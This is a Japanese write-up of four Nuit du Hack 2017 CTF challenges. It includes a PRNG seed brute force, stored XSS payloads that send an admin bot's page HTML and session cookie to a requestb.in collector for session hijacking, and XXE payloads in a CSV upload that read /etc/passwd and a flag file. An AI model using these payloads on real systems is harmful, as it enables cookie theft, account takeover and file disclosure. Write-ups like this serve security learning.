Nuit du Hack CTF Quals 2017に参加。410ptで113位。
Slumdog Millionaire (Web 100)
10個の疑似乱数を繋げたトークンとして、次に何が出てくるか求める問題。 seedがプロセスIDになっているので、last winningを一つ取得した後65535通りの総当たりで解ける。
import random def generate_combination(): numbers = "" for _ in range(10): rand_num = random.randint(0, 99) if rand_num < 10: numbers += "0" numbers += str(rand_num) if _ != 9: numbers += "-" return numbers last_winning = '01-89-05-10-65-27-00-70-16-50' for i in xrange(65536): random.seed(i) x = generate_combination() if x == last_winning: print generate_combination()
$ python test.py 93-70-98-33-99-09-34-89-40-23
Here is the code to claim your 20 NDHcoins: flag{God_does_not_pl4y_dic3}
Purple Posse Market (Web 200)
ショッピングサイト。 Contactページを見ると「管理者がすぐに確認する」という記述があり、XSSがありそうなことがわかる。
とりあえずimg要素を送ると、リクエストがあった。
<img src="http://requestb.in/XXXXXXXX">
HEADERS Total-Route-Time: 0 Cf-Ipcountry: FR Host: requestb.in Accept-Encoding: gzip Cf-Visitor: {"scheme":"http"} X-Request-Id: 38bc3fb8-3bb5-4d00-9ff8-d4649cf61945 Connection: close Connect-Time: 0 Referer: http://localhost:3001/admin/messages/55/ Accept: */* Accept-Language: en,* User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Cf-Ray: 348c3608c76468ea-CDG Via: 1.1 vegur Cf-Connecting-Ip: 163.172.102.12
続けて、メッセージ確認画面のHTMLを調べてみる。
<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script>
QUERYSTRING x: <!-- Navigation --> <nav class="navbar navbar-inverse navbar-default" role="navigation"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/">Purple posse market</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav"> <li> <a href="/about">About</a> </li> <li> <a href="/products">Products</a> </li> <li> <a href="/contact">Contact</a> </li> <li> <a href="/admin/messages/">Messages</a> </li> <li> <a href="/admin/">Profile</a> </li> <li> <a href="/admin/logout/">Sign out</a> </li> </ul> </div> <!-- /.navbar-collapse --> </div> <!-- /.container --> </nav> <!-- Page Content --> <div class="container main-container"> <div class="panel panel-default"> <div class="panel-body"> <p>From : aaa@aaa.aaa</p> <p>Message: <span id="message-content"><script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script></span></p></div></div></div>
/admin/
を見れば、プロフィール情報がわかりそうなことがわかる。
この後しばらくXHRやFetch APIを試してみたのだが、うまくいかなかった。 そこで、Cookieの取得を試みたところ、取得することができた。
<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.cookie) + '">')</script>
QUERYSTRING x: connect.sid=s%3A3azNpzoe0_TD-YLz3FIt9fQQWTxvzSkF.fC10idxsbkVE7toSkXss41hf8%2FjUKcs0zaTVFlSWOvc
ブラウザの開発者コンソールからdocument.cookieをセットしてセッションハイジャックを行い、/admin/
にアクセスすると問題文で求められているIBAN(口座番号)が表示される。
IBAN FR14 2004 1010 0505 0001 3M02 606
No Pain No Gain (Web 75)
CSVを送るとHTMLに変換して表示してくれるページ。 不正なCSVを送ると
Could not convert the CSV to XML! Please follow the example above.
と表示されることから、XXE脆弱性がありそうなことが推測できる。
実際に次のようなCSVを送ると/etc/passwdの内容が表示され、/home/flag
以下にフラグがありそうなことがわかる。
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> id,name,email 1,name1,email1@mail.com 2,name2,email2@mail.com 3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td> </tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td> </tr><tr><td>3</td><td>name3</td><td>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin (snip) flag:x:1000:1000::/home/flag:/bin/sh </td> </tr></table>
続けて、次のようなCSVを送ると、フラグが表示された。
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///home/flag/flag" >]> id,name,email 1,name1,email1@mail.com 2,name2,email2@mail.com 3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td> </tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td> </tr><tr><td>3</td><td>name3</td><td>NDH{U3VwZXIgTWFyaW8gQnJvcw0K44K544O844OR44O844Oe44Oq44Kq44OW44Op44K244O844K6DQpTxatwxIEgTWFyaW8gQnVyYXrEgXp1DQrYs9mI2KjYsdmF2KfYsdmK2Yg=} </td> </tr></table>
Matriochka step 1 (Reverse 35)
$ file step1.bin step1.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2d6163f987027c7da0ef01870d1eb4a889c781f5, not stripped
アセンブリコードを読むとargv[1]から計算された文字列と Tr4laLa!!!
をstrcmpで比較していることがわかる。
gdbで適当にデバッグすると、argv[1]が逆順に並び換えられていることがわかるので、条件を満たすようにargv[1]を与えると標準エラーにstep2.binが出力された。
$ ./step1.bin '!!!aLal4rT' 2>step2.bin Well done :)
!!!aLal4rT
がフラグ。
所感
他に解きたかった問題は以下。
- Matriochka step 2 (Reverse 70)
- Mendeleev (Steganography 20)
- Divide and rule (Web 120)
- Entrop3r (Exploit 350)